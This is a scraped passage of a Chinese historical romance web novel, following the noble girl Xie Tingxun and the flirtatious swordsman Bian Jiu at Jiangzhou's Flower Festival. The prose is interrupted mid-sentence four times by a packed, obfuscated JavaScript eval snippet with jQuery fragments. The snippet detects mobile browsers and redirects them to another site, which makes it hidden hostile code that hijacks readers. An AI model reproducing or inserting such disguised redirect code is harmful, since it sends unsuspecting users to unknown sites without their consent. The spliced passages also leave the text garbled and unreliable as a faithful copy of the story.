虽然叔母让她教导约束三位堂妹,但若是一上来就好为人师,那也忒招人烦了。
干脆小声问道:“花朝节,是江州独有么?”
“并非江州独有,但江南大多数地方都过。”八娘妙仪似乎是松了口气,开始给谢庭训解释,“女郎们有拜花神的习俗,而且二月春芳始发,刚好可以出门踏青出游赏花。”
谢庭训垂首微微笑了一下。
八娘看得有些晃神,心想,只怕花朝节那天七姊姊一个人便要占尽风头了。
赏什么花,她一笑,只怕群芳都要失色。
“我也正想出门赏花。”
“来时赶路很是匆忙,想看一看江南的风景,却又停不下来。”
“如此倒是正正好了。”
提到出去玩,三个少女都来了兴致。
先前的尴尬和不愉悦,也瞬间被抛之脑后,开始叽叽喳喳地讨论了起来。
毕竟穿什么、梳什么发髻、画什么妆容,都是十分要紧的大事,断然是不能随意对待的。如此一聊,便直聊到天色渐晚,四人才依依不舍分别。
谢庭训请过安,这才有了自己的时间。
阿姮去盯着人准备热水了,谢庭训便一个人坐在靠墙的秋千下,借着檐下的灯笼光,翻开今日没收来的书。
这书写得殊无文采,情节却极尽曲折,言辞夸张,满是渲染。
她一目十行,没一会儿就看完了。
谢庭训忍不住扶额。
难怪今日九娘会红着脸不肯细说,这也太……
这个卞九,简直是……简直登徒浪子!无耻下流!道德败坏!谢庭训心中闪现一遍刚刚看到的描述,只觉得脸颊也有些发热,没好气将书合上。
但凡是个女子都不放过,尽数染指。
书上还说他是什么风度翩翩的少年剑客,依谢庭训看,实则一肚子男盗女娼。
许多女郎把这样的人视作榜样……
谢庭训觉得有些不舒服。
她学过的每一条规矩,每一篇道德文章,都告诉她这样的人不可取。女郎濡慕乃至投身这样的郎君,看似是自由随心,实则不过是正中那些小人下怀。
可这样的事情,她也要管吗?
谢庭训坐在秋千上,叹了口气,叔母真是会给她下难题。
别人家的事横插一脚,算什么。
都怪这可恶的卞九。
“怎么坐在外头吹风?”阿姮从屋内探出头来,拿着夹衣出来盖在谢庭训肩头,垂眼便瞧见了她手里的书,“在好奇九娘说的剑客卞九?”
“我今日已经打听过了。”
“他在民间极其有名,许多人都听说过,甚至专门有说书先生讲他在江湖中行侠仗义和……”
“反正,濡慕他的人不在少数。”
谢庭训站起身,披衣进屋。
“罢了。”谢庭训不必阿姮说,心中已然猜出来都有些什么事情了,实在懒得把心神放在这样一个人身上,只说,“将我没读完的书拿出来。”
阿姮噤声,便知道谢庭训是真的不喜此人。
取出谢庭训素日读的书,便不再说话。
-
卞九在渡口盘桓了数日。
他始终没能从沽酒的秦娘子手中买到桂花酒。
秦娘子的酒家,在渡口是名不见经传的。
而在江湖侠客中,却极为有名,原因说来还和卞九有几分关系。十年前,卞九的师父遭遇了仇杀,逃亡途中饮了半壶秦娘子的桂花酒,竟然侥幸活了下来。
江湖人将此事穿得颇为风雅。
只说那日大雪茫茫,本已经穷途末路的剑客,半跪在苍茫雪上,将饮不完的半壶桂花酒浇洒在长剑上,原是想要洗净剑上的血污,安心葬己葬剑。
谁料却于这半壶酒上得悟剑道。
使出了平生最惊艳的一套剑法,杀尽追杀的数十人,逃出生天。
从此江湖剑客对秦娘子的桂花酒趋之若鹜。
卞九对悟剑道没什么兴趣,对传闻中的桂花酒,兴趣倒是非常大。奈何这位沽酒娘,仿佛是看出了他的势在必得,无论如何都不肯卖出桂花酒。
为此,连日酒家只卖寻常酒。
独独不卖桂花酒。
到第五日夜里,卞九收到了一封飞鸽传书。
游侠重诺,卞九看完信上的内容,便悄然离开了渡口。一夜过后,他身上的白衣多了数道血痕,往日干净雪亮的长剑蒙上一层血淤。
他来不及更衣整顿,翻身骑上枣红骏马,自茫茫原野朝着江州城而去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772348|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>古道扬尘漫天,芳草萋萋。
江州古城的城门从远处渐渐显现出来,城外郊外,桃杏开成一片连绵的绯红。
有儿童清脆的笑声随着奔跑越来越近。
天上的纸鸢似乎被吹断了线,随着笑声渐渐熄灭,随风往他身前古道上一寸一寸坠落。卞九视线落在那只色彩鲜亮的纸鸢上,连日奔波而干裂的唇边,不由荡开一抹笑意。
少年仰身勒马,抽出腰间长剑钩住丝线。
那只漂亮的纸鸢便颤颤巍巍地,顺着丝线滑落入白衣少年怀中,只有尾羽的彩绦还在自在飞扬。
他抱着巨大的纸鸢,看向道旁愣愣的小儿。
下一刻,纸鸢在空中滑翔而去,如一只轻盈的鹤鸟般落入小童怀中。
抓住纸鸢的小童尚未回神,马蹄声已然远去。
余光只能看到一道极其潇洒的背影,雪白衣袂如闪电,乌黑的高马尾被风掠起,他比迎面吹过的春风还要自在畅快,一瞬即逝。
快马顷刻间奔至城门外,卞九瞧见招展的酒旗,抬手勒马。
他飞身下马,将腰间长剑背至身后。
扬尘落上少年的白衣,显得风尘仆仆。
然而他双眼明亮湛然,似有似无带着几分风流快意的意味,令人不觉疲惫。
少年快步行至酒幡下,随手抛出一颗银锭。
“店家,温一盏好酒。”
店家回过神,连忙收起碎银咬了咬,这才喜笑颜开掏出戥子称一称,连声道:“好!好好好!客官您请坐,务必给您上最好的酒!”
话音未落,城门口便响起一阵车马声。
城门内外游玩的人,都忍不住朝着华贵的马车随从看过去,目光难掩歆羡。
今日花朝节,贵族女郎们应邀一起出行踏青拜花神。
此前陆陆续续,已经过了好几批车马,眼下这一批是最为气派豪奢,简直引得寻常百姓看花了眼。
卞九对这些并不感兴趣,但一夜奔波,有些疲惫。他抱剑倚靠在酒家门前,看向远处桃林的目光收回得有些慢,不经意掠过了一辆装饰华美的马车。
游丝飞絮随春风扑面而来,有些模糊了视线。
宝马香车辘辘碾过满地落红,飞驰而去时,扬起的竹帘被风荡起,卷帘内露出一张苍白、美丽的侧脸,清冷若霜雪,稍纵即逝。
惊鸿一瞥,不过如是。
“客官……”
“客官,酒温好了!”
“您请进来歇会,坐着喝吧。”
卞九回过神,听见酒家老板的声音。
他抱剑的手下意识紧了紧,冰冷的温度从掌心渗入肌理,一直随着血管汇入心脏。然而这股冷意,却无法抑制住心口骤然激烈而灼热的跳动。
意动神飞,几近失神。
从未有过这样强烈的失控感。
陌生,却又令人回味。
“……”
酒家老板看他神色,露出一丝了然。
笑着说道:“刚刚过去的,是我们江州谢氏的人和马车。”
卞九走进酒家,坐下喝了一口热酒。
少年狭长风流的眼微微低垂,浓睫也盖不住那几分失神,半天却也只问了一句,“江州谢氏?”
5. 江南岸
酒家看这少年风尘仆仆,也难言周身侠气,心中也添了几分不自觉的敬佩与向往,忍不住想要与他多说几句话,“是啊,士族之首的江州谢氏。”
“今日是什么日子?”少年放下酒盏,抬眸朝着酒家看去,“当真是好生热闹,竟有这么多人出游。”
“二月十二,花朝节。”
“这些贵族人家的女郎郎君,出门拜花神呢。”
“寻常人凑过来,都是为了瞧瞧热闹,顺便踏青赏花。少侠若是也感兴趣,不妨也过去散散步,总归凑凑热闹也不赖。”
卞九点头道:“原来如此!”
他饮尽了杯中的热酒,将桌上的长剑背起,起身离去。
顷刻间,便消失在了酒家内。
店家瞧着他的背影,只觉身法极其迅捷轻巧,必然并非俗人。不过也是,那位少年郎君周身气度,一看便不是他这等庸庸碌碌的寻常百姓。
卞九牵着马,抬头看一眼江州古城。
他站在原地,停驻了片刻。
恰好新一轮出城的马车路过,第三辆马车内,车帘被掀开一角。几个少女争前恐后,悄悄看着城门口的白衣少侠看去,面颊浮起薄薄的绯红。
不知道是谁胆子最大,一张绣帕从车窗内飘出。
着急的少女连忙探出大半身子,惊呼一声,仿佛想要抓住那张帕子。
少女的视线顺着轻飘飘的绣帕,落在负剑而立的少年,眼神轻轻闪躲了一下,随即大着胆子唤了一声,“少侠!”
白衣少年应声回头。
迎着少女羞涩的目光,他只是挑眉一笑。
目似流星,风流潇洒。
伏着车窗的少女因他这一笑,瞬间羞红了脸,晃了晃神才说出后半句话,“劳烦帮我接住……”
然而春风早已裹挟着轻飘飘的丝帕,吹出了几丈远,眼见着便要落入泥水中。
少女有些失望,想要缩回马车中。
然而眼前白光一闪,少年身后长剑出鞘,干脆利落地破空而去。谁都捕捉不清楚这是什么样的剑招,却谁都惊艳于这漂亮利落的一剑,回神时便见雪亮的剑尖,挑起一张轻薄洁白的丝帕。
少女双眼张大了些,没回过神。
然而那张帕子,却已经随着少年剑刃轻震,轻飘飘地重新飞落入她怀中。扑面而来的,还有剑气中带着几分肃杀的血腥之气,却被少年清澈带笑的嗓音化解。
“女郎,收好。”
“可别摔下马车了。”
少年随意挽了个剑花,收剑入鞘。
他漂亮狭长的眼里带着三分戏谑,仿佛看穿了她的小把戏,却也不点破。
只是牵起马,转身潇洒离去。
少女看着他的背影,越走越远。
她一把放下帘子,催促马车停下,一股脑拎着裙子冲向骑马的父兄。少女和父兄不知道说了些什么,导致太守府的车架停在城门口,几乎导致了堵塞。
-
谢庭训坐在碧色垂幔后,和坐在毡毯上的十二娘斗草。
阿姮站在一旁,拿便面为谢庭训遮阳。
谢庭训的肤色极其白皙,日头若是晒得久了,便容易晒伤。加上她从前在京都,出门的机会也不多,便是宴会也是在各家精致的园子里,很少晒太阳,肌肤就越发娇贵了。
眼下,只有她和玩累了的十二娘仍在纱幔下坐着。
八娘和九娘早已和手帕交们去玩了。
“我们去找八姊姊和九姊姊吧。”
十二娘嫌斗草没意思,站起身,朝着外头看了几眼。四处都是女郎和郎君们交谈、欢笑声,风中不但有花香,还有小贩卖吃食的香味。
谢庭训自然不无不可,说道:“好。”
阿姮却急了,说道:“女郎,你的脸颊都开始泛红了。”
“戴上幂篱就好了。”几天下来,十二娘已经摸透了谢庭训好说话的脾气,反正只要不做出不合规矩的事情,这位七姊姊简直温柔得不像话,“我们去玩一玩嘛。”
十二娘这么说了,阿姮只能闭嘴。
谢庭训无辜看向她,温声道:“阿姮。”
阿姮悄悄对谢庭训皱了皱鼻子,将便面塞给谢庭训,气哼哼地去为她取幂篱了。
谢庭训手持便面,被十二娘牵着外前走。
但没两步,前面就响起了熟悉的声音,果然纱幔后走出两个面容兴奋的少女。
正是八娘和九娘。
瞧见这里只有自家姐妹,八娘只是想加快步伐,却被九娘拉着直接朝两人跑过来。一时间裙袂飞扬,环佩叮当,垂在腰间的绶带更是不小心缠在纱幔和树枝上。
谢庭训蹙起眉,正要说话。
然而被绊倒的九娘趔趄一下,直接拉着八娘扑向谢庭训,咚地一声,四人在毡毯上跌做一团。守在外头的仆妇连忙垂下纱幔,女使则快步上前,来为几位女郎整理衣着。
“去去去去……”
“去将我那条间色绞缬的裙子拿来,还有,那顶最精致的花枝步摇冠也取来,重新为我梳头上妆。”
“快呀!这头发赶紧给我拆了!”
九娘一股脑把几个女使都使唤了,仍觉得不够,视线看向剩下的三人。见她们被自己撞得衣裙散乱,有点不好意思,只好双手合十,歉意道:“好姊姊好妹妹,先别骂我,等我去见了卞九郎,回家你们要打要骂都随便……”
谢庭训倒没被撞得有多疼。
她此时跪坐在毡毯上,认真理顺自己裙间组玉佩。
听到一个熟悉的名字,下意识蹙眉。
九娘性子跳脱是一回事,对剑客卞九的狂热倾慕,又是一回事。眼下她分明知道自己所做不合规矩,却为了所谓的卞九,要去做更不合规矩的事。
还有……
那卞九不是萍踪浪影吗?怎么忽然能去见他了。
莫非此人当真来了江州?
谢庭训心下警惕起来。
若是私下里仰慕,只能说不太合适,倒也不必过于干涉。但若是当真让九娘接触到了这样的浪荡子,说不准是要吃亏的,无论如何,这是断然不可的!
谢庭训看向九娘的女使阿豆,问道:“怎么回事?”
阿豆脸色绯红。
她的主子是九娘,心知不该理会谢庭训的问询。
但在对方沉静清冷的目光下,却无法抗拒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772349|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“方才,方才太守府的六娘子路遇了一位风流俊俏的少年游侠,为她拾回不慎遗落的丝帕,更是对受了惊的六娘子好生劝解。为了报答此人,太守便邀请此人一同赴会。”
“又见少年风度翩翩,气度卓尔不群,问及姓名。”
“原来便是江湖中有名的剑客卞九。”
“太守大喜,奉为上宾。”
“眼下……眼下,正陪同太守在桃林中饮酒赏花,听闻相谈甚欢。”
阿豆说完这些话,心虚不已地看向九娘。
九娘早已对她怒目而视。
“所以,九妹妹要去见剑客卞九?”
谢庭训转眸,看向九娘。
九娘正在命女使为她梳一个更繁复的发髻,好配那只华贵的步摇冠,丝毫不敢乱动,生怕发髻梳得不够妥帖。
但在谢庭训的目光下,还是心虚地压了压下巴。
即便谢庭训从未对卞九说过什么贬损的话,九娘也察觉到,谢庭训大概不喜欢卞九。起先,九娘也想要争辩一下的,但对面是谢庭训,她便没有了争辩的勇气。
……不知道为什么。
奇了怪了。
正乱糟糟想着,不远处有人咳嗽了一声。
碧色纱幔被人默契挽起,捧着罗裙、步摇冠、胭脂水粉的女使都瑟缩垂首,小心翼翼站在为首的崔氏身后,生怕发出一点声响。
“岂容你如此胡闹。”
“九娘,你可知道一点女郎该有的矜持?”
“谢氏门风,你可记得丝毫!”
九娘垂着头,没有回答崔氏的问题。过了一会儿,才转眸看向谢庭训,很不高兴地问道:“七姊姊,是你命人去向母亲告状了?”
作为名义上的长姐,过问她的事情,管一管她倒也罢了。
私下向大人告状,却实在可耻!
“你眼中有没有我这个母亲?”崔氏气匆匆上前几步,挥手让旁人退下,“你的母亲问你话,你不回答。倒是有胆子,犯上指纹你的长姐。”
“她算我哪门子……”
谢庭训打断了九娘的话,说道:“叔母,我陪九娘去见一见剑客卞九。”
崔氏皱眉看向谢庭训,似乎也有些想发怒。
“太守既然如此看重这位卞少侠,说不定,还有意招赘其为女婿。”谢庭训的嗓音是一贯的温和平静,只是有时候,总让人觉得有些不近人情的冷清,“九娘不过是好奇,看一眼,便也罢了。”
崔氏的面色不觉缓和下来。
她忍不住多看了一眼谢庭训,心中暗自纳罕。
这才是谢氏女该有的气度。
她根本没有将所谓的卞九放进眼里,名动天下的侠客,在她眼里不过是个新奇的物件。妹妹闹脾气要看,那便看一眼好了,反正也没什么所谓。
“可九娘……”
可九娘和谢庭训不一样。
江州的风气与京都不一样,九娘更没有谢庭训那样的眼界底蕴,她还是个对什么新鲜事物都好奇的孩子。
若真的瞧上了,就会吵闹不休地想要得到。
“我陪九娘去。”
“我陪九娘去看侠客卞九。”
6. 春心发
一时间,所有人都安静下来。
连崔氏也忍不住看向谢庭训,带着几分欲言又止,最后只问谢庭训说:“当真要去看?”
“看一看又有何妨?”谢庭训看一眼九娘,对崔氏道,“谢氏的女郎,长一长眼界,多见识一些不一样的人,也并非是坏事。”
崔氏还有些不放心。
然而仔细一想,若是这卞九当真留在江州,她也不可能总是掬着九娘。
到时候只怕又吵又闹,有得折腾。
“只远远看一眼。”谢庭训将手中便面递给九娘,看向还有些不知所措的少女,“不许闹出任何动静,更不可胡作妄为,可做得到?”
“自然!”九娘连忙道。
谢庭训点点头,也看向崔氏。
崔氏看着眼前从容淡静的谢庭训,原不想答应的,却还是点了点头。
短短数日,这三个被娇纵坏了的女郎,已经隐隐在听谢庭训的话。
既如此,她便也多给谢庭训几分长姐该有的权力,好好看一看这位名满京都的谢氏七娘,是否当真如传闻中那般才华横溢。
若当真奇货可居。
自然也不枉她和家主对她的厚待。
也可以继续在她身上增加筹码……
“好。”
九娘看着崔氏离去的背影,还有些恍惚。
谢庭训径直看向几位女使,气定神闲地吩咐道:“梳成来时的模样便可,至于新的罗裙与簪钗,便先收下吧。”
捧着物件的女使纷纷看向九娘。
一向有些娇纵跋扈的九娘并未反驳,反而乖乖坐下,仰面忐忑看向谢庭训。
她眨了眨眼睛,小声说:“七姊姊……”
谢庭训站在一株杏花树下,分明懂她眼中的含义,却并未开口说话,只清冷如水的眸中荡开一抹似有似无的笑意。
撒娇未果的九娘不得已,只好继续道歉说:“方才是我误会你了,你能不能不要怪罪我?”
谢庭训这才点点头,“自然不会怪罪你。”
不过片刻,女使便已经为九娘整理完毕。
阿姮上前为谢庭训戴上幂篱,谢庭训牵着九娘的手,跟着下人的牵引往太守府女眷所在的位置而去。
江州太守姓袁。
袁太守的夫人,也出自谢氏,平日多有往来。
素日里袁氏的女郎们,和谢家女郎也相熟。
九娘一见太守夫人,便扬起笑,快步上前行礼请安,与太守夫人介绍了谢庭训。与太守夫人坐在一处的,还有不少江州的世家宗妇,自然纷纷看向谢庭训。
不约而同的,眼底纷纷闪现过一丝难以掩盖的惊艳。
谢氏的几位女郎,已经是江州世家中养得最为金尊玉贵,令旁人望尘莫及。
而眼前的谢庭训,竟然更胜一筹。
“自幼养在京都?”
“如此通身的气派,难怪说是你们谢氏的女郎呢。”
“怕是京都那位谢七娘,也比不过……”
谢庭训眉间浮现一丝郁色,温声道:“堂姊于数日前,已经病夭。”
于是关于京都谢七娘的话题,便戛然而止。但无论是谁,心中都忍不住有些好奇,连在京都声名不显的谢庭训都如此风采,那位宗支嫡出的女郎该何等出色!
众人正絮絮说着话,彼此引荐。
一贯吵闹的九娘却安静得很,视线不经意朝着河对面看去。
然而靠河的位置垂挂满了垂幔,隔开了外界的视线,自然也隔开了九娘焦灼的视线。找了半天,九娘始终没瞧见半点蛛丝马迹,不由焦急起来。
“姨母,六表姐她们呢?”
太守夫人回过神,说道:“央着她哥哥带她跑马去了。”
九娘一骨碌要站起来,却被人暗暗压住了裙角,不得不老老实实跪坐在长辈面前。但实在恼恨,避开视线,气鼓鼓瞪了谢庭训一眼。
太守夫人瞧出九娘的着急,因问道:“怎么了?”
这话九娘当然答不出来,张了张口,身后有一道嗓音缓缓响起,“九妹妹新得了一柄好剑,爱不释手,想与诸位姊妹一起看。”
“去吧,她们在东边。”
“让陈媪引你们过去,别不小心被庶人冲撞了。”
“看着六娘,别让她又和妹妹吵嘴。”
谢庭训和九娘起身告辞。
九娘兴致勃勃,恨不得走得快些,更快些。
然而走到桥上,谢庭训便不再往前。
九娘不得已后退几步,凑到谢庭训身边,催促道:“又怎么了?七姊姊,我们是得了姨母首肯的……”
谢庭训摇摇头,看向东侧,“袁六娘回来了。”
果然,远处策马奔来一行人。守在两侧的是几个贵族打扮的少年郎,或左或右,护着中央带着帷帽的彩衣少女,在浅红轻碧中疾驰而来。
就一眼,九娘全认出来了。
并没有传说中的卞九,都是往日的老熟人。
她急得一跺脚,便要冲上去追问。
然而马上的少女早就瞧见了九娘,一勒缰绳,翻身下马。她掀掉帷帽丢给纷纷涌过来的女使,快步上前,似笑非笑看着九娘,“特意来找我玩?”
九娘左顾右盼,不吭声。
袁六娘眼中闪过一丝了然,凑过来在九娘耳边絮絮私语。
九娘大惊,又羡慕又难过道:“……当真?”
“可惜,人已经走了好一会儿了。”袁六娘语调带着点儿刻意,瞥了九娘一眼,慢悠悠说,“你若来得早一些,我也好为你引荐,毕竟我们谁不知道你仰慕卞少侠呢?”
“我才不用你引荐!”
“你们袁家能请的客人,我们谢家更能。”
“谁要你假好心!”
“原本还打算告诉你,卞少侠去了哪里。既然如此,”袁六娘作势要走,语调充满了促狭,“那就算了,反正你肯定也不稀罕从我这儿听……”
“……”
九娘气到跺脚,恨恨咬牙。
连眼圈都红了。
袁六娘的人哗啦啦地散了,连引路的陈媪都迟疑片刻,转身回去转告太守夫人两人又吵嘴了。一时之间,这里便只剩下远远跟着的阿姮,和不远处的谢庭训。
“七姊姊……”
“袁六娘说,卞少侠亲自教她骑马,还夸她长得比桃花还要娇艳。”
“还……还没拒绝,袁太守
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772350|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要招赘他的事……”
九娘哭丧着一张脸,无措地看向谢庭训。
无形中,她好像已经觉得,眼前这位凭空冒出来的七姊姊是个无所不能的人。眼下遇到了事情,她第一反应不是自己该怎么办,而是求助于谢庭训。
“妙音,别人说的,未必就是真的。”
听到谢庭训的话,九娘才稍稍冷静下来,转头看向女使阿豆,“你去打听一下,袁六娘说得可是真的?我和她一贯互相什么都要攀比,说不定她真是故意气我呢?”
谢庭训没作声。
虽然袁六娘可能是夸大其词,但是……
涉及到自己的名声,袁六娘不会乱说,所以不可能是空穴来风。
这个卞九,还真是风流浪荡。
今日第一次见袁六娘,便已然如此殷勤,更是舌灿莲花。
但谢庭训心中再是不喜,嘴上也不会诋毁旁人什么,只是宽慰九娘道:“听袁六娘的意思,卞九暂时不会离开江州。”
“……因为没拒绝袁家招赘吗?”
九娘愣愣想了一会儿,也不打招呼,匆匆往崔氏所在的位置走去。
只在风中留下一句,“……那我也要招赘。”
“……”
阿姮看得目瞪口呆,过了好一会儿,才小声对谢庭训道:“我记得,九娘子根本没见过那个什么卞九吧?这就要直接招赘……?”
谢庭训捏了捏眉心,“小孩子脾气罢了。”
想了想,说道:“去拦住她。”
目送阿姮急匆匆追过去,谢庭训自己垂眼看了会儿桥下流水,拾阶而下。没一会儿,她便一个人行至谢氏所铺设的碧色垂幔外。
只是四周风景实在很好,谢庭训不觉放慢了脚步。
桃杏开得正好,粉白团簇,颤颤巍巍。
风一吹,便是阵阵清香。
隔着帷纱始终太过模糊,谢庭训抬手想要掀开轻纱,却下意识先扫视一眼四周。不远处迎面走来一位少年郎君,身姿挺拔,步伐从容,看起来气度卓尔不群。
便是一身朴素白衣,风尘仆仆,也难掩周身闲云野鹤般的自在气息。
可惜面上扣着一张凶恶的傩戏面具,看不清容貌。
谢庭训便没有解开帷纱。
她径直往前走去,目不斜视。
少年也并未侧目,与她擦肩而过,衣袂带起一阵微风。
风中掺杂着清甜的花香和淡淡的血腥气。
片刻后,身后的脚步声停止。少年清澈明朗的嗓音响起,带着极其短暂的迟疑,认真问道:“借问女郎,此处停驻的可是谢氏族人?”
谢庭训微微顿住,却并未回头。
稍稍打听,便可得知碧色帷幔内是谢氏族人。
他不至于到了这里,才无端问一个路人。
……就好似,有些紧张不安似的。
谢庭训回过头,问道:“你要找谁?”
少年下意识摸了摸脸上的傩戏面具,迟迟不说话,只有春风将他的白衣和黑发吹得飘起,无端让气质坦荡到锋利的少年多了几分温柔缱绻。
“我并非是来找谁。”
“我只是,打算远远看上一眼。”
7.春心发
他的回答,令谢庭训有些意外。
不过,原本对他存的几分戒备,倒是稍有化解。
“是谢家。”
谢庭训回答了少年的问题,转身离去。
少年仍立在杏花树下,风一吹,粉红的杏花落了他满肩。
过一会儿,他的声音才从风中传过来。
“借问女郎,是否害怕蜘蛛?”
谢庭训下意识想要顿住脚步,然而已经来不及了,幂篱已经撞上了一张巨大的蜘蛛网。遍身黑黄条纹、长满毛刺的大蜘蛛,顺着蜘蛛网,三两下爬上了谢庭训的幂篱。
一阵恶寒瞬间爬满了谢庭训的脊背,险些慌了神。
费力才忍住了掀飞幂篱的冲动。
身侧却掠起一道风,混杂着杏花的香,擦过她的幂篱。
轻薄的帷纱被风带起,谢庭训原本模糊的视线清晰了一角,恰好扫过少年修长匀称的一截手腕。不同于世家子弟崇拜肤色白皙,少年手背微微泛着日光晒过的光泽,结实有力。
察觉到谢庭训的视线。
少年行云流水般收回了手中的杏花枝,轻轻一抖,便将上头的蛛丝拂去。
他握着花瓣随风簌簌而落的杏花,随意插在腰上。
“不必害怕。”
“并不咬人,只是长得丑了些。”
谢庭训站在原地,身体有些发僵。
缓了好久,才觉得急促到令她眼前发昏的心跳慢了些,视线不由落在少年腰间的杏花枝上。
那枝杏花被拂落了不少花瓣,越发清癯,反而衬得花瓣格外柔弱美丽。
“我与谢家人还算相熟。”谢庭训离杏花树远了些,走近不远处的白衣少年,温和礼貌地说,“你若是想见谁,合规矩的话,我可以帮你传一句话。”
站得近了,谢庭训才意识到对方的格外地高。
只是身形带着少年人的清瘦,所以不靠近,尚且不太明显。
整个人像是春日蓬勃生长的翠竹。
少年无意识摸索腰侧,摸了个空,于是摩挲了一下本就有些秃了的杏花枝。过了一会儿,他才微微侧过脸去,有些随便束起的碎发后,耳廓微微泛红。
谢庭训静静等少年说话。
他徘徊在这里,明显是有想见的人。
但又没有见面的由头。
若想要见的是他的亲友,代为传一两句话,也算是顺手为之的好事。
少年轻咳一声,双手抱胸,高高束起的长发被风吹得有些絮乱,越发少年意气。只是他的嗓音压得有些低,带着几分不易察觉的别扭,说道:“不必传话,但我有事情想要与女郎打听一二……”
“今日发髻上插着玉钗的,是谢家哪位女郎?”
谢庭训道:“我不能为你传话。”
“不必传话,告知我是哪位女郎便可。”少年似乎有些不自在,见谢庭训迟迟不语,态度又这样冷淡,才解释说,“我往日受过她的恩惠,却不知道这位女郎是何人,今日才在谢家的马车上见到她。”
谢庭训沉吟了片刻。
眼前此人所问的问题虽然冒昧,但他先前气度颇好,看着倒不像是想要纠缠别人的样子。
如此说来,话倒有七八成是真的。
今日簪着玉钗的,只有她和九娘。
但她前几日才从京都来江州,更是从来没有有恩过谁。反倒是九娘,一心仰慕仗义疏财的豪侠行径,若说对眼前的少年有过恩惠,倒极其有可能。
“谢家女郎最重名声,我便是知道,也断然不能告诉你。”
“你是何人,竟如此唐突?”
谢庭训冷声质问。
少年仿佛没料到她如此不近人情,一愣。
随即上前几步,微微低头。
“你又不是谢家的女郎,这般凶做什么?”少年先前那几分拘束彻底没了,修长的影子盖住她,带着几分好奇,“还是说,你便是谢家的……”
说到这里,少年的脚步顿住。
他疑惑的目光凌厉如刀,隔着朦胧的帷纱,一寸一寸侵入。
仿佛下一刻,便会轻而易举掀开那层帷幔。
谢庭训下意识后退一步。
然而少年慢慢弯下腰,连随意抱起的双手都松开,分出一只拦住她的去路。就这么慢悠悠地看着谢庭训,隔着凶恶的傩面,也能察觉出那目光里的戏谑。
“……”
谢庭训有些紧张。
她扫视左右,都没办法立刻躲开。
毕竟这少年明显功夫不错。
怎么办……
“你再如此放肆,我便喊人了!”谢庭训气恼得顾不上别的,连着后退三步,退无可退抵在了杏花树干上,“周围到处都守着谢家的卫士,绝不可能让你胡闹。”
少年缓缓直起腰,托了一下傩面,随手抽出腰间的杏花枝向她拂来。
谢庭训心中一咯噔,下意识抬手按住帷纱。
径直侧身,别过脸去。
然而帷帽的垂纱只被极轻的风带得轻晃一下,杏花枝被他收回,上头没有了粉白的花朵,只有一只垂着蛛丝的大蜘蛛。
少年闲闲看她一眼,不说话。
谢庭训的脸颊陡然烧灼起来。
她抿了抿唇,头一次如此憋屈,好半天才说道:“你方才所说的,当真?”
少年信手将带着大蜘蛛的杏花枝抛入河中,随口笑道:“你便是知道,不是也断不能告诉我么?若是告诉了我……你会如何?”
谢庭训简直被气得想要冷笑。
然而她很少会随意发怒,故而只是冷声道:“既如此,你便是不想知道。”
当真是可恶至极,竟如此无礼!
“咳咳。”少年仿佛有些后悔,他后退了几步,两手背在身后,嗓音带着几分认真的笑意,“我想知道,请女郎赐教。”
谢庭训缓了一会儿,气也消了。
这少年虽然看似言行轻薄随性,却没有实打实还算好心,两次帮她弄掉了蜘蛛。
再者,这也不是什么非常不可告人的事情。
“是谢氏行九的女郎。”
少年仿佛微微一怔,没有说话。
谢庭训快一步警告他,“至于名讳,我决不可能告诉你,劝你也不要胡乱打听。即便你也出身世家,江州谢氏,也非你可造次!”
卞九这才意识到,眼前的少女将自己当作了江州的世家郎君。
也是,江州太守见他周身衣衫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775499|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满是血渍划痕,令人取了新衣为他更换,再会面赴会。
虽然挑的是最朴素的一身白衣,也有别于庶人。
寻常世家,尚且望尘莫及。
更遑论其他人。
“江州的世家女郎,都像你这般眼高于顶么?”卞九忍不住看向眼前的少女,她整个人都罩在层层叠叠的幂篱下,只能隐约看出纤细单薄的身量,“还是说,仅你如此?”
没有缘由的,卞九想起了渡口撞上的那位贵女。
